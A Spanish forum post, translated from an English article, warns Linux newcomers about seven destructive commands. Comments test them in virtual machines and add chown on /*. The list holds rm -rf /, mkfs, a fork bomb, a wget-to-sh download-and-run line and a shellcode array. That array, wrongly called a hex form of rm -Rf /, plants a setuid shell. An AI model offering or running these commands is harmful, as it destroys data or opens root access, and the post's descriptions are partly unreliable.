7 comandos mortales en Linux

+1
0
-1

Leído originalmente en http://www.iguanalinux.com/gnulinux/7-comandos-mortales-en-linux/ y comentado en http://ubuntumexico.org/forum/viewtopic.php?showtopic=440

Esta es una traducción del interesante artículo “The 7 Deadly Linux Commands” (http://www.junauza.com/2008/11/7-deadly-linux-commands.html) publicado originalmente por Tech Source from Bohol.


Si eres nuevo en Linux, es probable que en algún momento te encuentres, en algún foro o una sala de chat, con una persona malintencionada y/o poco inteligente que pretenda jugarte una mala pasada para que utilices comandos que puedan dañar tus archivos o incluso arruinar todo tu sistema operativo. Para evitar que se te presente este peligroso escenario, he aquí una lista de comandos mortales en Linux que hay que evitar.

NÚMERO 1:

rm -rf /

Este comando eliminará a la fuerza y recursivamente (incluyendo subdirectorios), todos los archivos dentro del directorio raiz.

NÚMERO 2:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Esta es la versión hexadecimal de rm -Rf /, con la cual podria engañarse incluso a usuarios linux mas experimentados.

NÚMERO 3:

# mkfs.ext3 /dev/sda 

Reformateala partición/disco, liquidando todos los archivos del dispositivo mencionado despues del comando mkfs.

NÚMERO 4:

:(){:|:&};:

La ya conocida por muchos Bomba fork (http://www.kriptopolis.org/bombas-y-bombos). Este comando hará que tu sistema ejecute un elevado número de procesos, hasta que el mismo se “cuelgue”. A menudo esto puede acarrear perdida de datos.

NÚMERO 5:

[cualquier_comando] > /dev/sda

Con este comando, se envian bloques de datos al dispositivo indicado, lo cual a menudo puede colapsar el sistema de archivos, dando como resultado una perdida total de datos.

NÚMERO 6:

wget http://[fuente_de_origen_inseguro] -O- | sh 

Estamos descargando datos, posiblemente un script, de alguna fuente no muy confiable, e inmediatamente despues, estamos ordenando que se ejecute el archivo descargado. NUNCA HAGAS ESTO.

NÚMERO 7:

mv /home/tudirectoriodeusuario/* /dev/null

Este comando mueve todos los archivos dentro de tu directorio home, a un lugar que no existe, razón por la cual, nunca podras ver tus archivos de nuevo.


Amigos, si tienen idea de más comandos mortales, les ruego que lo hagan saber a través de este hilo. Gracias.

Comentarios

Imagen de sergiosan00709

Que Barbaro. Oye, se agradece la nota ehh. en verdad que es muy necesario el tenerconocimiento de que cosas uno NO debe de hacer con el sistema y mas aun sabiendo de que la consola es el medio de entrada al mundo root.

Gracias en verdad.

Viewsonic 22", 8Gb de Ram Kingston, AMD Phenom X4, 2 multiquemadoras LG, 2 Nvidia Gforce 9600GT en SLI, 2 HDD de 250GB c/u, Gigabyte GA-M57SLI-S4, Case COSMOS de Cooler Master.


Viewsonic 22", 8Gb de Ram Kingston, AMD Phenom X4, 2 multiquemadoras LG, 2 Nvidia Gforce 9600GT en SLI, 2 HDD de 250GB c/u,Mainboard Gigabyte GA-M57SLI-S4, Case COSMOS de Cooler Master.

Imagen de serlibre

por que con 1 simple linea de codigo puedes tumbar un sistema :D
no se lo que hago

no se lo que hago

Imagen de yosesito

¿y porqué existen esos comandos y quién los crea?

¿es posible entonces que se creen virus también para linux con el tiempo, que afecten al sistema?

Yo tenía entendido que aunque hay poquísimos virus para linux, en realidad, "por la manera en que está diseñado el sistema por dentro" no se puede hacer mucho daño. Suponía que "todo lo que afecte al sistema" necesita la clave del administrador...

Imagen de Goyo

Los comandos sólo pueden hacer aquello para lo que el usuario que los invoca tenga permiso. Por ejemplo, el número 7 puede borrar tus datos de usuario pero normalmente no podrá borrar archivos del sistema si no lo ejecutas como administrador.

Imagen de fernando-eguia-mx

La mayoría de los errores de sistema residen en capa 8...


Te invito a:
http://fernando-eguia.hi5.com/
http://rincon-dibujante.webcindario.com/ (sitio en construcción)

Imagen de danielGT

Nadie ha creado esos comandos con el fin de hacer daño, cuando se diseño Unix/Linux nadie lo hizo pensando cosas como "Mua ha ha ha ha!! con estos comandos se podra destruir todo, hasta destruir el mundo!!!". Con comandos potentes puedes hacer muchas cosas, incluso romper el sistema (si es que no sabes lo que hacer, claro). El comando mv por ejemplo, hace algo tan util como mover archivos de un directorio a otro, el dispositivo /dev/null puede servir para cosas tan utiles como para disminuir las escrituras en disco (usandolo de manera apropiada, claro), ambas cosas no son peligrosas..... lo peligroso es hacer un mv y darle como destino /dev/null.

Asi que no se trata de ser paranoico al pensar que alguien creo esos comandos para hacer daño o crear virus. El microondas es un aparato que es muy util para calentar alimentos rapidamente, los gatos son animalitos muy tiernos que dicen "miau"...... si alguien con la mente recorcida mete al gato dentro del microondas, lo va a matar claro, pero eso no quiere decir que el microondas haya sido creado por alguna mente pervertida con el fin de rostizar a los gatos dentro de el :P

Y asi con tantas cosas, los cuchillos sirven para cortar cosas, pero tambien te pueden matar con un cuchillo, eso no quiere decir que los cuchillos se inventaron para matar a la gente.

Todas las cosas tienen su lado bueno, y su lado malo.

Imagen de Pacor

El comando mas infinitisisimamente mortal que conozco no pertenece a linux, no. Pertenece a la raza humana y se llama "No se que estoy haciendo, aunque me huelo que no es nada bueno y probablemente me perjudique... pero lo voy a hacer"
Ese comando que tenemos en la testa ha hecho cosas bastante peores que formatear discos.
Si usas el sentido comun y entras en foros de confianza como este todo eso te sobra.
Sentido comun... el mas comun que encuentres.

 

Se aceptan ideas. Razón aquí.

 

Se aceptan ideas. Razón aquí.

Imagen de strevino

Yo creo que faltaron algunos mas, de los que mencionan arriba

como el

chown miusuario:miusuario /*

Este un amigo lo uso siendo root y le cambio el usuario y grupo a TODO la particion

Saludos!

Como el profeta le dijo al necio "Siempre hay ayeres, siempre hay mañanas, pero nunca hoyes!!!"

Como el profeta le dijo al necio "Siempre hay ayeres, siempre hay mañanas, pero nunca hoyes!!!"

Imagen de gilber1988

Como el profeta le dijo al necio "Siempre hay ayeres, siempre hay mañanas, pero nunca hoyes!!!"

Buenisima anotacion..

En un sistema operativo que no lo voy a nombrar porque no vale la pena, exite una extencion de archivos mortal, el famoso ".EXE", con un solo click, ¡¡¡ni si quiera se debe dijitar un comando!!, con eso puedes joderte la vida enserio, y como todos son terminan igual no sabes a que te arriesgas y para peor no puedes ver el codigo fuente!!!!!!!!!!!!!!!!!!

Imagen de lord red dragon

lo vi mencionado en un post del foro, hace tiempo, al que lo mencionaron como la bomba de linux... tuve curiosidad y estuve a punto de intentarlo... pero como ya se que por mi curiosidad muchas veces destrozo mi linux, decidí dejarlo para la siguiente ocasión que haga un backup de mi partición (sale MEJOR que solo hacer una lista de descargas de paquetes)

THANKS!!!


En Ubuntu desde el 2 de noviembre del 2007

Mi web (manuales, blog, fotos, etc): Shadow's System

SUERTE!!!


En Ubuntu desde el 2 de noviembre del 2007

Mi web (computadoras, soporte, etc): SolucionesC

Imagen de leo10

Para eso instalate maquinas virtuales, y desde ahí...siiiiiii, usa la curiosidad...x lo menos yo hago eso...;)

Imagen de carroca

Yo ago lo mismo, creo una maquina virtual y hay pruebo, en una MV fue donde compile un codigo fuente por primera vez, y menudo desastre... Estan muy bien para aprender cosas y hacer chapuzas.

en el pc ponia : requiere windows vista o superior , por eso instale ubuntu

========================================

En el PC ponia: Requiere windows 8 o superior, por eso instale Debian

Imagen de lord red dragon

pero tengo mas que suficiente en mi disco usb de respaldo... 320gb, 24gb para backup (copiar partición), de mi pc, 24gb para el backup (copiar partición), de la laptop, y el resto en xfs para /Respaldo (donde van TODOS mis archivos)...

en la lap y pc solo tengo 250gb en disco, y están casi llenos... :(


En Ubuntu desde el 2 de noviembre del 2007

Mi web (manuales, blog, fotos, etc): Shadow's System

SUERTE!!!


En Ubuntu desde el 2 de noviembre del 2007

Mi web (computadoras, soporte, etc): SolucionesC

Imagen de Transmeta

Estoy probando los comandos esos en una maquina virtual ubuntu 8.04, virtualizador VirtualBox , bajo ubuntu 8.04.sergio1
ss

--- rm -rf /
No se puede llevar a cabo, ni con sudo. Te da el mensaje
rm: no se puede eliminar el directorio raíz "/"

----mkfs.ext3 /dev/sda
mensaje de advertencia ¡/dev/sda esto el dispositivo, no sólo una partición!
¿continuar de todas formas? (s,n) s
mkfs.ext3: Permiso denegado mientras se intentaba determinar el tamaño del sistema de ficheros

usando el comando anterior con sudo

sudo mkfs.ext3 /dev/sda
/dev/sda esta aparentemente en uso por el sistema; ¡No se hará un sistema de ficheros aquí!

He reiniciado la máquina virtual , ubuntu 8.04, sin problemas.

Imagen de carroca

Igual, excepto el comando 6 que no lo e probado ninguno me a funcionado, en la malloria me decia que habia un "error de sintaxis", en el de rm -rf / me decia tambien que no se podia eliminar el directorio raiz. Los e probado en una MV, no creo que alla sido por eso. Pero bueno, de mortales la verdad es que tienen poco (al menos en apariencia).

PD: todos metiendo antes la orden "sudo".

en el pc ponia : requiere windows vista o superior , por eso instale ubuntu

========================================

En el PC ponia: Requiere windows 8 o superior, por eso instale Debian

Imagen de ludwingguate

YO llevo poco tiempo en esto de GNU/Linux y a veces me da miedo ejecutar cualquier comando en terminal.

Esto es muy util saber lo que nunca se debe hacer.

Gracias y saludos

Imagen de oaebratth

La verdad son comandos muy peligrosos teniendo en cuenta la confianza que hay en la comunidad, no se si soy muy romantico pero a mi se me hace dificil pensar en un ubuntero malvado por eso confio muchisimo en la comunidad y en ocasiones de afan he seguido tutoriales a ciegas, sin embargo son comandos algo evidentes. De todos modos lo que yo hago y lo que recomiendo es tener mucho cuidado con cualquier cosa que diga sudo o root, pues si estos comandos destruyen es porque uno mismo aptreto el boton. Por ultimo si hubiera estrellitas le daba 100 a DanielGT por el comentario del gatito en el microondas. A otra cosa alguien podria explicarnos por que el comando fork hace lo que hace; me quedo una duda malvada en la conciencia.

Imagen de danielGT

100 estrellas por matar al gatito? xDDDDD

Hasta a mi me dio cosa :P

No, en serio, no vayan a pensar que soy yo el de la mente retorcida xD Solo quise poner un ejemplo que se entendiera de que es lo inofensivo y que es lo peligroso.

Imagen de Transmeta

----------mv /home/transmeta/* /dev/null

/dev/null no es un directorio

ls > /dev/sda
Bash: /dev/sda : Permiso denegado

sudo ls > /dev/sda
Bash: /dev/sda : Permiso denegado

Imagen de juan jandred

jajaja ahora me rio, por que es lo ultimo que me queda, pero aqui: http://juanjandred.blogspot.com/2010/01/errores-de-un-viernes-por-la-noc... comento mi mala suerte de no ser precavido y ejecutar ese comando, perdi todo pero sigo en pie con gnu/linux